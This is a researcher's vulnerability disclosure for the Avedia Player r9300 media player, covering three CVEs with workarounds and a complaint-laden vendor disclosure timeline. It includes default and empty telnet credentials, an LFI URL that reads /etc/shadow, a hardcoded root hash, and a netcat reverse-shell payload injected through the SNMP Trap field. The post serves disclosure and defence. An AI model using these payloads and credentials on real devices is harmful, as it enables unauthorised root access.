Avedia Player r9300 Vulnerabilities

Introduction

The vulnerabilities I’m about to introduce represent an attack chain that goes from simple network access to Root command execution. With very little skill or experience required.

They have been identified on an infrastructure assessment after the device peaked our interest (default creds and HTTP login will do that) and then confirmed using a second hand device purchased via eBay (to eliminate the possibility the clients configuration was to blame).

The vulnerabilities include:

Network Access to Low Privileged Shell (CVE-2023–48179)Local File Inclusion (CVE-2023–48181)Remote Code Execution (CVE-2023–48180)

They have been confirmed to work on the firmware v5.1.3–24650 (admittedly old and several versions behind) that I had available to be me as the vendor would not provide more up to date firmware without me spending money on a new device/contract. I have not confirmed if they do (or do not) affect any other devices/versions that Vitec/Exterity have produced.

In addition I will provide the disclosure timeline, to show how VITEC/Exterity, the device manufacturers, responded to responsible disclosure of the above vulnerabilities.

Network Access to Low Privileged Shell (CVE-2023–48179)

The first step on our road to root is obtaining the administrator password (assuming it has been changed from the default of admin:labrador).

This would normally be quite a difficult task, however lucky for us there’s another set of credentials that work over telnet. The username nobody and the password of (drumroll please) NOTHING (yes actually).

After authenticating as nobody your dropped into a low privileged shell, with very little access rights but still the ability to make basic commands.

One such command allows us to query the logs, which wouldn’t normally be very interesting accept that when an admin changes a password the password is stored in the logs. Note that if the device has power cycled or otherwise rotated it’s logs you may be out of luck.

This can be seen in the below terminal

Telnet as “nobody” then grep logs for the password (in this case “supersecret”)

Temporary Workarounds: Disable (or FW) Telnet, it’s unlikely to be needed given the device supports SSH. In addition, rotate logs manually.

Remediation: Update to v7.3.0 (March 23) for which the “nobody” user was removed (not confirmed by myself).

Admin GUI to Local File Inclusion (CVE-2023–48181)

This ones fairly simple, login to the web GUI (remember details on how you might be able to get admin creds above, if they aren’t the default), and then modify the below URL (in this example obtaining the /etc/shadow file.

http://DEVICEIP/cgi-bin/download?file=syslog.log+/etc/shadow

Temporary Workaround: Ensure the admin password is of sufficient strength that it cannot be bruteforced and that the logs on the device do not reveal what it is.

Remediation: Update to v7.3.0 (March 23) for which the LFI is fixed (not confirmed by myself).

Admin GUI to Root Command Execution (CVE-2023–48180)

Again this ones about as basic as it gets, simply append a command onto certain settings and your command will be executed. In the below steps I use this to obtained a reverse shell operating as Root.

*** On Local Device (setting a listener on 1234) ***
nc -l 1234

*** On The Maintance Page (http://DEVICEIP/#maintenance) ***
Enter the below text into the SNMP Trap field and hit Apply
(replacing ATTACKERIP with your own).

BBB;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKERIP 1234 >/tmp/f; echo

Command execution was identified in the following locations (but it’s reasonable to suspect their may be more): SNMP Trap parameter (Maintenance Page); SAP Channel parameter (Channel Learning page); Splash Screen parameter (Resources page).

Temporary Workaround: Ensure the admin password is of sufficient strength that it cannot be bruteforced and that the logs on the device do not reveal what it is.

Remediation: Update to v7.3.0 (March 23) for which the RCE is fixed (not confirmed by myself).

Other Notes

Other items I noted during my look at this device but honestly had bigger fish to fry.

HTTP Login
The admin GUI is over HTTP, enough said there I think. I’m told this was changed in 2019.

SNMP Read and Read/Write
The SNMP community strings for both read and R/W is “PUBLIC” by default.

Stored Cross-Site Scripting?
I got a hit on one of my OOB XSS payloads whilst testing but didn’t have the time to go back and look probably a CVE there for someone.

Hardcoded Root?
There appears to be a hardcoded Root password on the device, try as I might I haven’t been able to crack it.

root:$1$O1/JPE3s$tCMMA6hBT19iyMj/pVw5o1:16514:0:99999:7:::

Not the first time someones looked at Avedia Devices
Hat tip to WhiteHoodHacker

Responsible Disclosure Timeline

TL:DR Requested firmware both before and after disclosing vulnerabilities (in full with concept code, evidence and remediation suggestions). They refused both times (once quite rudely), suggesting I buy a new device, get a support contract, or out the original client I was doing the infrastructure assessment for.

They also don’t seem to take the vulnerabilities seriously because they have been found on old firmware (I’d have tested on new firmware if they’d provide it), complaining often that I had tested on old/outdated firmware (yeah because they wouldn’t give it to me).

The below is a rough summary/timeline of the disclosure process, so others can see what a pain this company was.

1 September 2023
I Reach out via web form to request updated firmware

4 September 2023
Vitec (Euan) respond that they are unable to find my company details (understandably) and ask for the devices MAC address.

MAC address is supplied along with more detail about how I got the device (bought on ebay), what I’m doing (looking at the device after seeing it on an engagement), and why I’m requesting firmware (to ensure the device is fully up to date).

They then state they are “unable to support devices that have been purchased this way” and that “Access to firmware requires a support contract”.

5 September 2023
I reply stating that’s fine and asking if they have a vulnerability disclosure procedure (or what the best way to communicate information about a potential vulnerability is).

They reply “Any vulnerability fixes would be listed in the release notes” (note this is all I could find, most of the detail is hidden behind their customer portal).

They also say “ r9300 devices run a very stripped back version of Linux so the reality is that these are very very rarely affected by any vulnerabilities.” (my emphasis) and that the devices are being phased out.

I reply stating it’s more that I know there are vulnerabilities on the device I have and on an additional client device. I offer to send the information directly to them (I receive no response).

6 November 2023
Finally get round to documenting the issues and send the details to Vitec (Euan). A helpdesk ticket is created shortly after.

Vitec complain that the firmware I tested is out of date (huh) and that we should be scanning (no scanning went on here thanks) the latest version. However as my device is “out of warranty” they are unable to provide the firmware upgrade file. They also CCed in someone called Fiona.

9 November 2023
I reply that I agree testing should be on the latest firmware and therefore ask/state (shortened/paraphrased for brevity)

Will it be possible to provide the updated firmware? and that I won’t be paying to upgrade warranty, my interest is just getting the vulnerabilities verified/fixed.

Are Vitec saying that these (vulnerabilities) are fixed in the latest firmware? And if so do you have the version number each was fixed in?

Vitec (Fiona now) replies asking who the end user of the device is (Me…) and again complaining that the device is old. They also state “our customers pay for our support and firmware/software upgrades”.

I reply stating the end user is myself, I only want the updated firmware to confirm these issues still exist. If they don’t want to provide it that’s fine however obviously I won’t be able to help them verify these issues exist on the latest OS if that’s the case.

I also say that if you want time to investigate/resolve these issues themselves that’s not a problem. The information provided should be more than enough and to let me know that’s what they’re doing and I will wait the industry standard amount of time (90 days) and/or until they patch.

Vitec (Fiona again), rather rudely states “Can I suggest that if you want to investigate our receiver, that you purchase a current model, rather than an old model from ebay.” and offers to link me up with a channel partner to buy one from. They also state again that the device is old and out of date (sigh) and that if I’m willing to reveal the customer they may help (I’m not willing to).

My ticket is then closed, I send a final email as below.

“Brill inline with responsible disclosure I assume you therefore don’t need the 90 days. Thank you for your time”.

No response is received… I tried to connect with a more senior employee via Linkedin but again no response.

15 November 2023
Sent them a copy of this blog post to give them a chance to reconsider.

16 November 2023
“The firmware that you’ve scanned, v5.1.3 is over 7 years old firmware now so I’m not really sure it’s relevant. As Fiona mentioned, if you’re looking to review our media player you should look at purchasing a new product directly.” (I ignore this if they want to run in circles they can do it by themselves)

17 November 2023
Finally we are getting somewhere, they confirm which versions the vulnerabilities were patched and when it turns out they were current until this year… There’s also lots of complaining and claiming to do things better than most…